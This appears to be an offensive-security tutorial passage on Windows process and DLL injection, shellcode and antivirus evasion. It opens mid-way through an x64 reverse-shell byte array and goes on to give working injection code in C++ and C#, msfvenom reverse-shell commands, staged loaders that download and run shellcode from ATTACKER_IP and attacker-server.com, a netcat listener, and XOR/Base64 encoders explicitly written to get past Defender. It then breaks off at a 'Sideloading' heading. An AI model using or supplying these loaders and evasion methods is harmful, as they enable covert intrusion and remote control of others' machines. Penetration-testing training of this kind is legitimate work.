0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,
0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x1d,0x32,
0xc0,0xa8,0x01,0x7e,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,
0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,
0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,
0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x49,0xb8,0x63,
0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48,
0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0x0d,0x59,0x41,
0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x01,0x01,0x48,0x8d,
0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,
0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,
0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,
0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41,
0xba,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,
0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5};


}

c++ example

#include <iostream>
#include <Windows.h>

const char* shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main()
{
    // Open a handle to the target process (replace with the appropriate process ID)
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 504);

    // Allocate memory within the target process
    LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Write the shellcode to be injected into the allocated memory
    WriteProcessMemory(hProcess, pRemoteCode, shellcode, strlen(shellcode), NULL);

    // Create a remote thread in the target process that starts executing the injected shellcode
    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);

    // Wait for the remote thread to finish
    WaitForSingleObject(hRemoteThread, INFINITE);

    // Cleanup
    CloseHandle(hRemoteThread);
    VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
    CloseHandle(hProcess);

    return 0;
}

DLL Injection

In DLL injection, a programmer can inject a DLL file into a target process, which means that the code and data from the DLL become part of the running program. This allows the injected DLL to modify or enhance the behavior of the target process.

At a high-level DLL injection can be broken up into six steps:

  1. Locate a target process to inject.
  2. Open the target process.
  3. Allocate memory region for malicious DLL.
  4. Write the malicious DLL to allocated memory.
  5. Load and execute the malicious DLL.

Step 1: Find the target process
First, we need to locate the program where we want to inject the DLL. This is done by using some special functions provided by Windows. Here’s an example code snippet in C++:

#include <windows.h>
#include <tlhelp32.h>

DWORD getProcessId(const char* processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot) {
        PROCESSENTRY32 entry;
        entry.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &entry)) {
            do {
                if (!strcmp(entry.szExeFile, processName)) {
                    return entry.th32ProcessID;
                }
            } while (Process32Next(hSnapshot, &entry));
        }
    }
    return 0; // Process not found
}

DWORD processId = getProcessId("target.exe");

Step 2: Open the target process
Once we have the process ID (PID), we can open the target process using the PID. This allows us to access and manipulate its memory. Here’s an example code snippet:

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);

Step 3: Allocate memory for the DLL
Next, we need to allocate memory in the target process where we can place the DLL. This is done using the VirtualAllocEx function. Here’s an example code snippet:

LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Step 4: Write the DLL to the allocated memory
After allocating memory, we can write the contents of the DLL into the allocated memory using the WriteProcessMemory function. Here’s an example code snippet:

WriteProcessMemory(hProcess, dllAllocatedMemory, dllPath, strlen(dllPath) + 1, NULL);

Step 5: Load and execute the DLL
Finally, we can load and execute the DLL in the target process. We use the LoadLibrary function to load the DLL, and then create a remote thread in the target process to start executing the DLL code. Here’s an example code snippet:

LPVOID loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD

C# example

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Program
{
    // Import the necessary Windows API functions
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    public static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    // Path to the DLL file to be injected
    const string dllPath = "path/to/your/dll.dll";

    static void Main()
    {
        // Get the target process by name
        Process targetProcess = Process.GetProcessesByName("target")[0];

        // Open the target process with all access rights
        IntPtr hProcess = OpenProcess(0x1F0FFF, false, targetProcess.Id);

        // Allocate memory in the target process to hold the DLL path
        IntPtr dllMemory = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)dllPath.Length + 1, 0x00001000 | 0x00002000, 0x40);

        // Write the DLL path to the allocated memory
        byte[] dllPathBytes = System.Text.Encoding.ASCII.GetBytes(dllPath);
        int bytesWritten;
        WriteProcessMemory(hProcess, dllMemory, dllPathBytes, (uint)dllPathBytes.Length, out bytesWritten);

        // Get the address of the LoadLibraryA function from kernel32.dll
        IntPtr kernel32Module = GetModuleHandle("kernel32.dll");
        IntPtr loadLibraryAddr = GetProcAddress(kernel32Module, "LoadLibraryA");

        // Create a remote thread in the target process to load the DLL
        IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddr, dllMemory, 0, IntPtr.Zero);

        // Wait for the thread to finish
        if (thread != IntPtr.Zero)
            WaitForSingleObject(thread, 0xFFFFFFFF);

        // Cleanup
        CloseHandle(hProcess);
        VirtualFreeEx(hProcess, dllMemory, (uint)dllPath.Length + 1, 0x8000);
    }
}


AV Evasion Shellcode

AV Evasion MindMap

BypassAV/Bypass-AV.pdf at main · CMEPW/BypassAV (github.com)

AV Detection techniques

An AV detection technique searches for and detects malicious files; different detection techniques can be used within the AV engine, including:

Signature-based detection

Traditional AV technique that looks for predefined malicious patterns and signatures within files.

Heuristic detection

More advanced technique that includes various behavioral methods to analyze suspicious files.

Heuristic detection is a technique used in cybersecurity to identify potentially malicious or suspicious files or activities based on heuristics or rules. It involves analyzing the behavior, characteristics, or patterns of a file or code to determine if it exhibits traits commonly associated with malicious behavior. Unlike signature-based detection, which relies on known signatures or patterns, heuristic detection is more proactive and can detect previously unseen or unknown threats.

Here are some things you can do for evading heuristic detection:

  • Polymorphic Code: Implementing code that dynamically modifies its structure or behavior upon execution can make it more challenging for heuristic detection to identify and classify the code as malicious.
  • Anti-Analysis Techniques: Employing various anti-analysis techniques, such as code obfuscation, encryption, or packing, can make it harder for heuristic detection mechanisms to understand and analyze the code’s true intent.
  • Environmental Awareness: Heuristic detection often relies on identifying abnormal behavior or patterns. By mimicking normal system behavior or modifying code execution based on environmental factors (e.g., time, system state), it may be possible to evade heuristic detection mechanisms.
  • Code Fragmentation: Splitting the malicious code into multiple fragments and executing them separately can make it harder for heuristic detection to piece together the entire malicious behavior, potentially leading to evasion.

Dynamic detection

A technique that includes monitoring the system calls and APIs and testing and analyzing in an isolated environment.

Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser’s passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.

  • Sleep before execution Depending on how it’s implemented, it can be a great way of bypassing AV’s dynamic analysis. AV’s have a very short time to scan files to not interrupt the user’s workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV’s sandboxes can just skip the sleep depending on how it’s implemented.
  • Checking machine’s resources Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user’s machine. You can also get very creative here, for example by checking the CPU’s temperature or even the fan speeds, not everything will be implemented in the sandbox.
  • Machine-specific checks If you want to target a user who’s workstation is joined to the “contoso.local” domain, you can do a check on the computer’s domain to see if it matches the one you’ve specified, if it doesn’t, you can make your program exit.

Static detection

Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they’ve probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:

  • Encryption If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.
  • Obfuscation Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you’re trying to obfuscate.
  • Custom tooling If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.

Shellcode

Shellcode is a special set of instructions that are created to make a vulnerable program do things it shouldn’t. Usually, it’s used to gain control over the program and do malicious actions. For example, it can open up a system shell or create a connection for remote control.

When the shellcode is put into a process and executed by the vulnerable program, it changes how the program works. It updates registers (special memory storage) and functions so that the attacker’s code gets executed.

Shellcode is typically written in Assembly language, which is a low-level programming language. It’s then translated into hexadecimal codes, which are specific instructions that computers understand. Creating unique and custom shellcode helps bypass antivirus software, but it’s not easy to do. It requires advanced knowledge and skill in Assembly language, which can be quite challenging.

Save code below as helloworld.asm.

section .text
    global _start
    
_start:
    jmp MESSAGE      ; 1) Let's jump to MESSAGE
    
GOBACK:
    mov rax, 0x1
    mov rdi, 0x1
    pop rsi          ; 3) We are popping into `rsi`; now we have the
                     ; address of "Hello, World!\r\n"
    mov rdx, 0xd
    syscall
    
    mov rax, 0x3c
    xor rdi, rdi     ; Clear rdi (exit code 0)
    syscall
    
MESSAGE:
    call GOBACK       ; 2) We are going back, since we used `call`, that means
                      ; the return address, which is, in this case, the address
                      ; of "Hello, World!\r\n", is pushed into the stack.
    db "Hello, World!", 0dh, 0ah
  1. We start by jumping to the MESSAGE label. This means we want to execute the code starting from the MESSAGE label.
  2. We then encounter the GOBACK routine. This routine is called using call, which pushes the address of the next instruction (the address of the message) onto the stack. It allows us to retrieve the address of the message later.
  3. Inside the GOBACK routine, we first prepare the registers to call the sys_write function. We set rax to 1 to indicate that we want to use the sys_write function. We set rdi to 1, which represents the standard output (STDOUT) file descriptor. We pop the address of the message from the stack and store it in rsi, which will be used as the pointer to the message. Finally, we set rdx to 0xd (13 in decimal), which represents the length of the message.
  4. After preparing the registers, we execute the syscall instruction to call the sys_write function. This will print the message to the console.
  5. Next, we set rax to 0x3c, which represents the sys_exit function. We clear rdi by using xor rdi, rdi, which sets it to 0 (indicating exit code 0).
  6. Finally, we execute the syscall instruction again to call the sys_exit function. This will exit the program.

In summary, the code sets up the necessary registers and uses system calls (sys_write and sys_exit) to print the “Hello, World!” message and then exit the program. The message itself is stored at the MESSAGE label, and the GOBACK routine is used to retrieve its address before calling sys_write.

# Assembler and link our code 

user@AttackBox$ nasm -f elf64 helloworld.asm
user@AttackBox$ ld helloworld.o -o helloworld
user@AttackBox$ ./helloworld
"Hello, World!"

Lets extract the shellcode with the objdump command by dumping the .text section of the compiled binary.

objdump -d helloworld

To extract the hexadecimal values from the output, you can utilize objcopy to dump the .text section into a binary file named helloworld.text.

objcopy -j .text -O binary helloworld helloworld.text

To convert the helloworld.text file containing the shellcode in binary format to hexadecimal, the xxd command with the -i option can be used to output the binary file as a C string.

xxd -i helloworld.text

To confirm that the extracted shellcode works as we expected, we can execute our shellcode and inject it into a C program.

#include <stdio.h>

int main(int argc, char **argv) {
    unsigned char message[] = {
       **SHELLCODE**
    };
    
    (*(void(*)())message)();
    return 0;
}

Compile it

gcc -g -Wall -z execstack helloworld.c -o helloworldx

Generating shellcode

The advantage of generating shellcode via public tools is that we don’t need to craft a custom shellcode from scratch, and we don’t even need to be an expert in assembly language. Most public C2 frameworks provide their own shellcode generator compatible with the C2 platform. Of course, this is so convenient for us, but the drawback is that most, or we can say all, generated shellcodes are well-known to AV vendors and can be easily detected.

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c

Add the shellcode to this C code which will inject it into memory and execute calc.exe.

#include <windows.h>
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
        DWORD oldProtect;
        VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
        int (*shellcode)() = (int(*)())(void*)stager;
        shellcode();
}

The provided code snippet is a Windows C program that contains a shellcode stager. It first defines a shellcode as a character array. Then, in the main() function, it uses VirtualProtect() to mark the shellcode as executable. Next, it casts the shellcode array as a function pointer and executes the shellcode using the shellcode() function.

Overall, this code allows the execution of the shellcode stored in the stager array by marking it as executable and then invoking it as a function.

Compile it.

i686-w64-mingw32-gcc calc.c -o calc-MSF.exe

Generate shellcode from EXE

Shellcode can also be stored in .bin files, which is a raw data format. To obtain shellcode from a raw binary file (.bin), we can use the xxd -i command in Linux. If a C2 Framework provides shellcode as a .bin file, we can convert it to its hexadecimal representation using this approach. Here are the steps to create a raw binary file and extract the shellcode:

  1. Generate a raw shellcode to execute calc.exe using msfvenom and save it to /tmp/example.bin. The command is as follows:
 msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin

This command generates a raw payload without any encoding, resulting in a shellcode with a size of 193 bytes.

  1. Verify the file type of /tmp/example.bin using the file command:
file /tmp/example.bin

The output should indicate that /tmp/example.bin is a data file.

  1. Extract the shellcode from the binary file using the xxd -i command:
xxd -i /tmp/example.bin

This command converts the binary file to its hexadecimal representation and outputs it as an array of unsigned characters (_tmp_example_bin[]). The length of the shellcode is also provided (_tmp_example_bin_len = 193).

By comparing the output with the previously created shellcode using Metasploit, you can verify that they match.


Staged payloads

Staged payloads are a technique used in exploit development and remote code execution scenarios. They involve breaking down the payload into multiple stages or steps, where each stage is responsible for executing a specific task and preparing the system for the final payload execution.

The final shellcode is loaded in memory and never touches the disk. This makes it less prone to be detected by AV solutions.

Generate shellcode using msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'

# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.

Notice that we are using the raw format for our shellcode, as the stager will directly load whatever it downloads into memory.

Use the staged payload below to fetch the generated shellcode.bin

https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
    // P/Invoke to kernel32.VirtualAlloc
    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

    // P/Invoke to kernel32.CreateThread
    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    // P/Invoke to kernel32.WaitForSingleObject
    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    // Memory allocation constants
    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

    public static void Main()
    {
        string url = "https://ATTACKER_IP/shellcode.bin";
        Stager(url);
    }

    public static void Stager(string url)
    {
        // Create a WebClient instance for downloading the shellcode
        WebClient wc = new WebClient();

        // Ignore certificate validation (for self-signed certificates)
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };

        // Set the security protocol to TLS 1.2
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

        // Download the shellcode from the specified URL
        byte[] shellcode = wc.DownloadData(url);

        // Allocate memory for the shellcode to be executed
        UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        // Copy the shellcode to the allocated memory
        Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

        // Variables for thread creation and execution
        IntPtr threadHandle = IntPtr.Zero;
        UInt32 threadId = 0;
        IntPtr parameter = IntPtr.Zero;

        // Create a new thread to execute the shellcode
        threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

        // Wait for the thread to finish executing the shellcode
        WaitForSingleObject(threadHandle, 0xFFFFFFFF);
    }
}

Another version

using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program
{
    // P/Invoke to kernel32.VirtualAlloc
    [DllImport("kernel32")]
    private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    // P/Invoke to kernel32.CreateThread
    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

    // P/Invoke to kernel32.WaitForSingleObject
    [DllImport("kernel32")]
    private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    // Memory allocation constants
    private static uint MEM_COMMIT = 0x1000;
    private static uint PAGE_EXECUTE_READWRITE = 0x40;

    public static void Main()
    {
        // URL for the second stage payload
        string stage2Url = "https://attacker-server.com/stage2.bin";

        // Download and execute the second stage payload
        DownloadAndExecute(stage2Url);
    }

    public static void DownloadAndExecute(string url)
    {
        WebClient wc = new WebClient();
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

        // Download the second stage payload
        byte[] payload = wc.DownloadData(url);

        // Allocate memory for the payload
        IntPtr payloadAddress = VirtualAlloc(IntPtr.Zero, (uint)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        // Copy the payload to the allocated memory
        Marshal.Copy(payload, 0, payloadAddress, payload.Length);

        // Execute the payload in a new thread
        IntPtr threadHandle;
        uint threadId;
        threadHandle = CreateThread(IntPtr.Zero, 0, payloadAddress, IntPtr.Zero, 0, out threadId);

        // Wait for the thread to finish executing the payload
        WaitForSingleObject(threadHandle, 0xFFFFFFFF);
    }
}

We can compile the staged payload by using csc on linux.

csc staged-payload.cs

Setup a simple HTTPS server.

openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"

Catch the reverse shell

nc -lvp 7474

Encoding and Encryption

What is encoding?

Encoding refers to the process of transforming data into a specific format or representation, often depending on a particular algorithm or encoding type. It is commonly used in various contexts, such as program execution, data storage and transmission, and file conversion. Encoding can be applied to different types of data, including videos, HTML, URLs, and binary files like executables and images.

What is encryption?

Encryption plays a crucial role in ensuring information and data security. It focuses on protecting data from unauthorized access and manipulation. Encryption involves converting plain, unencrypted content (plaintext) into an encrypted form (ciphertext) using an encryption algorithm and a key. Without knowledge of the algorithm and the key, the ciphertext cannot be read or decrypted.

Shellcode encoding and encryption

List encoders within metasploit framework.

Notice that all of the public encoders will be detected by AV as soon as it touches the victims disk.

msfvenom --list encoders | grep excellent

Example of using shikata_ga_nai encoding.

msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp

Listing encryptions modules within Metasploit framework

msfvenom --list encrypt

Example of using XOR encrypted payload.

In XOR encryption, each character of the plaintext (the original unencrypted message) is combined with a corresponding character from a secret key using the XOR operation. The secret key is a sequence of characters that serves as the encryption key. The XOR operation is applied bitwise, meaning it compares each corresponding bit of the plaintext character and the key character.

Notice that the payload will be flagged by the AV. The reason is still that AV vendors have invested lots of time into ensuring simple msfvenom payloads are detected.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe

Creating custom encoders

Encoder

 We will take a simple reverse shell generated by msfvenom and use a combination of XOR and Base64 to bypass Defender.

msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp

 In the code below we will be XORing the payload with a custom key first and then encoding it using base64. This is just an example and you should write your own custom encoder in order to evade detection.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Encrypter
{
    internal class Program
    {
        private static byte[] xor(byte[] shell, byte[] KeyBytes)
        {
            for (int i = 0; i < shell.Length; i++)
            {
                shell[i] ^= KeyBytes[i % KeyBytes.Length];
            }
            return shell;
        }
        static void Main(string[] args)
        {
            //XOR Key - It has to be the same in the Droppr for Decrypting
            string key = "THMK3y123!";

            //Convert Key into bytes
            byte[] keyBytes = Encoding.ASCII.GetBytes(key);

            //Original Shellcode here (csharp format)
            byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };

            //XORing byte by byte and saving into a new array of bytes
            byte[] encoded = xor(buf, keyBytes);
            Console.WriteLine(Convert.ToBase64String(encoded));        
        }
    }
}

 Remember to replace the buf variable with the shellcode you generated with msfvenom.

Self-decoding Payload

Since we have an encoded payload, we need to adjust our code so that it decodes the shellcode before executing it. To match the encoder, we will decode everything in the reverse order we encoded it, so we start by decoding the base64 content and then continue by XORing the result with the same key we used in the encoder. 

using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;

public class Program {
    // Import required functions from kernel32.dll
    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    // Constants for memory allocation and protection
    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

    // XOR operation between shell and key bytes
    private static byte[] xor(byte[] shell, byte[] keyBytes)
    {
        for (int i = 0; i < shell.Length; i++)
        {
            shell[i] ^= keyBytes[i % keyBytes.Length];
        }
        return shell;
    }

    public static void Main()
    {
        // Encoded shellcode as Base64 string
        string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
        // Convert Base64 string to byte array
        byte[] data = Convert.FromBase64String(dataBS64);

        // Key used for XOR encoding
        string key = "THMK3y123!";
        // Convert key into bytes
        byte[] keyBytes = Encoding.ASCII.GetBytes(key);

        // XOR encode the shellcode
        byte[] encoded = xor(data, keyBytes);

        // Allocate memory with execute, read, and write permissions
        UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        // Copy encoded shellcode into the allocated memory
        Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);

        IntPtr threadHandle = IntPtr.Zero;
        UInt32 threadId = 0;
        IntPtr parameter = IntPtr.Zero;
        // Create a new thread to execute the shellcode
        threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

        // Wait for the thread to finish executing
        WaitForSingleObject(threadHandle, 0xFFFFFFFF);
    }
}

DLL Sideloading and Proxying

Sideloading

